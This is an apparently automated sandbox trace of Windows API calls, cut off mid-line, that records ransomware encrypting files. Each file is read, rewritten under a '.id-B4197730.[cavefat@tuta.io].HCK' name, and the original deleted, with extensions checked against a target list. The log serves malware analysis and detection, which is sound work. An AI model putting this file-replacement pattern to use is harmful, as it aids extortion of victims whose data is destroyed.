ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xed90, lpOverlapped=0x0) returned 1 [0149.354] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xeda0, lpOverlapped=0x0) returned 1 [0149.356] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.356] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xf6, lpOverlapped=0x0) returned 1 [0149.356] SetEndOfFile (hFile=0x2f0) returned 1 [0149.356] CloseHandle (hObject=0x2f0) returned 1 [0149.359] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.359] SetEndOfFile (hFile=0x2e8) returned 1 [0149.360] CloseHandle (hObject=0x2e8) returned 1 [0149.360] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.361] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1 [0149.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0149.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0149.361] lstrlenW (lpString=".doc") returned 4 [0149.361] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.361] lstrlenW (lpString=".docx") returned 5 [0149.361] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.361] lstrlenW (lpString=".pdf") returned 4 [0149.361] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.361] lstrlenW (lpString=".xls") returned 4 [0149.361] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.361] lstrlenW (lpString=".xlsx") returned 5 [0149.361] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.361] lstrlenW (lpString=".ppt") returned 4 [0149.361] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0149.361] lstrlenW (lpString=".zip") returned 4 [0149.361] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.361] lstrlenW (lpString=".rar") returned 4 [0149.361] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.361] lstrlenW (lpString=".bz2") returned 4 [0149.361] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.361] lstrlenW (lpString=".7z") returned 3 [0149.361] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0149.361] lstrlenW (lpString=".dbf") returned 4 [0149.361] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0149.361] lstrlenW (lpString=".1cd") returned 4 [0149.361] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0149.361] lstrlenW (lpString=".jpg") returned 4 [0149.362] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.362] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0149.362] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0149.362] lstrlenW (lpString=".doc") returned 4 [0149.362] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.362] lstrlenW (lpString=".docx") returned 5 [0149.362] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.362] lstrlenW (lpString=".pdf") returned 4 [0149.362] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.362] lstrlenW (lpString=".xls") returned 4 [0149.362] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.362] lstrlenW (lpString=".xlsx") returned 5 [0149.362] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.362] lstrlenW (lpString=".ppt") returned 4 [0149.362] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.362] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0149.362] lstrlenW (lpString=".zip") returned 4 [0149.362] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.362] lstrlenW (lpString=".rar") returned 4 [0149.362] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.362] lstrlenW (lpString=".bz2") returned 4 [0149.362] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.362] lstrlenW (lpString=".7z") returned 3 [0149.362] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.362] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0149.362] lstrlenW (lpString=".dbf") returned 4 [0149.362] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.362] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0149.362] lstrlenW (lpString=".1cd") returned 4 [0149.362] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.362] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0149.362] lstrlenW (lpString=".jpg") returned 4 [0149.362] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.362] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0149.362] lstrlenW (lpString="eula.rtf") returned 8 [0149.362] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.363] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3069) returned 1 [0149.363] CloseHandle (hObject=0x2e8) returned 1 [0149.363] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0149.363] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.363] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.363] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.363] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.363] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0149.363] GetLastError () returned 0x0 [0149.363] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xbfd, lpOverlapped=0x0) returned 1 [0149.365] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xc00, lpOverlapped=0x0) returned 1 [0149.366] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.366] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe4, lpOverlapped=0x0) returned 1 [0149.366] SetEndOfFile (hFile=0x2f0) returned 1 [0149.366] CloseHandle (hObject=0x2f0) returned 1 [0149.366] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.367] SetEndOfFile (hFile=0x2e8) returned 1 [0149.367] CloseHandle (hObject=0x2e8) returned 1 [0149.367] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.368] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1 [0149.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0149.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0149.368] lstrlenW (lpString=".doc") returned 4 [0149.368] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.368] lstrlenW (lpString=".docx") returned 5 [0149.368] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.368] lstrlenW (lpString=".pdf") returned 4 [0149.368] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.368] lstrlenW (lpString=".xls") returned 4 [0149.368] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.368] lstrlenW (lpString=".xlsx") returned 5 [0149.368] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.368] lstrlenW (lpString=".ppt") returned 4 [0149.368] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0149.368] lstrlenW (lpString=".zip") returned 4 [0149.368] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.368] lstrlenW (lpString=".rar") returned 4 [0149.368] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.368] lstrlenW (lpString=".bz2") returned 4 [0149.368] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.368] lstrlenW (lpString=".7z") returned 3 [0149.368] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0149.368] lstrlenW (lpString=".dbf") returned 4 [0149.368] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0149.368] lstrlenW (lpString=".1cd") returned 4 [0149.368] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0149.368] lstrlenW (lpString=".jpg") returned 4 [0149.368] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0149.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0149.369] lstrlenW (lpString=".doc") returned 4 [0149.369] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.369] lstrlenW (lpString=".docx") returned 5 [0149.369] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.369] lstrlenW (lpString=".pdf") returned 4 [0149.369] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.369] lstrlenW (lpString=".xls") returned 4 [0149.369] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.369] lstrlenW (lpString=".xlsx") returned 5 [0149.369] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.369] lstrlenW (lpString=".ppt") returned 4 [0149.369] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0149.369] lstrlenW (lpString=".zip") returned 4 [0149.369] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.369] lstrlenW (lpString=".rar") returned 4 [0149.369] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.369] lstrlenW (lpString=".bz2") returned 4 [0149.369] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.369] lstrlenW (lpString=".7z") returned 3 [0149.369] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0149.369] lstrlenW (lpString=".dbf") returned 4 [0149.369] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0149.369] lstrlenW (lpString=".1cd") returned 4 [0149.369] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0149.369] lstrlenW (lpString=".jpg") returned 4 [0149.369] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.369] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.369] lstrlenW (lpString="LocalizedData.xml") returned 17 [0149.369] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.370] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=79996) returned 1 [0149.370] CloseHandle (hObject=0x2e8) returned 1 [0149.370] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0149.370] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.370] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.370] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.370] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.370] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0149.370] GetLastError () returned 0x0 [0149.370] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1387c, lpOverlapped=0x0) returned 1 [0149.694] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x13880, lpOverlapped=0x0) returned 1 [0149.942] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.942] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xf6, lpOverlapped=0x0) returned 1 [0149.942] SetEndOfFile (hFile=0x2f0) returned 1 [0149.943] CloseHandle (hObject=0x2f0) returned 1 [0149.946] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.946] SetEndOfFile (hFile=0x2e8) returned 1 [0149.948] CloseHandle (hObject=0x2e8) returned 1 [0149.948] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.949] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1 [0149.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0149.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0149.950] lstrlenW (lpString=".doc") returned 4 [0149.950] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.951] lstrlenW (lpString=".docx") returned 5 [0149.951] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.951] lstrlenW (lpString=".pdf") returned 4 [0149.951] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.951] lstrlenW (lpString=".xls") returned 4 [0149.951] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.951] lstrlenW (lpString=".xlsx") returned 5 [0149.951] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.951] lstrlenW (lpString=".ppt") returned 4 [0149.951] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0149.951] lstrlenW (lpString=".zip") returned 4 [0149.951] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.951] lstrlenW (lpString=".rar") returned 4 [0149.951] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.951] lstrlenW (lpString=".bz2") returned 4 [0149.951] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.952] lstrlenW (lpString=".7z") returned 3 [0149.952] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0149.952] lstrlenW (lpString=".dbf") returned 4 [0149.952] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0149.952] lstrlenW (lpString=".1cd") returned 4 [0149.952] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0149.952] lstrlenW (lpString=".jpg") returned 4 [0149.952] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0149.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0149.952] lstrlenW (lpString=".doc") returned 4 [0149.952] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.952] lstrlenW (lpString=".docx") returned 5 [0149.952] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.952] lstrlenW (lpString=".pdf") returned 4 [0149.952] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.952] lstrlenW (lpString=".xls") returned 4 [0149.953] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.953] lstrlenW (lpString=".xlsx") returned 5 [0149.953] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.953] lstrlenW (lpString=".ppt") returned 4 [0149.953] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0149.953] lstrlenW (lpString=".zip") returned 4 [0149.953] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.953] lstrlenW (lpString=".rar") returned 4 [0149.953] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.953] lstrlenW (lpString=".bz2") returned 4 [0149.953] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.953] lstrlenW (lpString=".7z") returned 3 [0149.953] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0149.953] lstrlenW (lpString=".dbf") returned 4 [0149.953] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0149.953] lstrlenW (lpString=".1cd") returned 4 [0149.954] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0149.954] lstrlenW (lpString=".jpg") returned 4 [0149.954] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.954] lstrcmpiW (lpString1=".p7b", lpString2=".HCK") returned 1 [0149.954] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0149.954] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.958] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4662) returned 1 [0149.958] CloseHandle (hObject=0x2e8) returned 1 [0149.958] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0149.958] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.958] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.958] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0149.958] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0149.958] lstrlenW (lpString=".doc") returned 4 [0149.958] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0149.958] lstrlenW (lpString=".docx") returned 5 [0149.958] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0149.958] lstrlenW (lpString=".pdf") returned 4 [0149.958] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0149.958] lstrlenW (lpString=".xls") returned 4 [0149.958] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0149.958] lstrlenW (lpString=".xlsx") returned 5 [0149.958] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0149.958] lstrlenW (lpString=".ppt") returned 4 [0149.958] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0149.958] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0149.958] lstrlenW (lpString=".zip") returned 4 [0149.958] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0149.958] lstrlenW (lpString=".rar") returned 4 [0149.958] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0149.958] lstrlenW (lpString=".bz2") returned 4 [0149.958] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0149.958] lstrlenW (lpString=".7z") returned 3 [0149.958] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0149.958] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0149.958] lstrlenW (lpString=".dbf") returned 4 [0149.958] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0149.958] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0149.958] lstrlenW (lpString=".1cd") returned 4 [0149.958] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0149.958] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0149.958] lstrlenW (lpString=".jpg") returned 4 [0149.958] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0149.959] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0149.959] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0149.959] lstrlenW (lpString=".doc") returned 4 [0149.959] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0149.959] lstrlenW (lpString=".docx") returned 5 [0149.959] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0149.959] lstrlenW (lpString=".pdf") returned 4 [0149.959] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0149.959] lstrlenW (lpString=".xls") returned 4 [0149.959] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0149.959] lstrlenW (lpString=".xlsx") returned 5 [0149.959] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0149.959] lstrlenW (lpString=".ppt") returned 4 [0149.959] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0149.959] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0149.959] lstrlenW (lpString=".zip") returned 4 [0149.959] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0149.959] lstrlenW (lpString=".rar") returned 4 [0149.959] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0149.959] lstrlenW (lpString=".bz2") returned 4 [0149.959] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0149.959] lstrlenW (lpString=".7z") returned 3 [0149.959] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0149.959] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 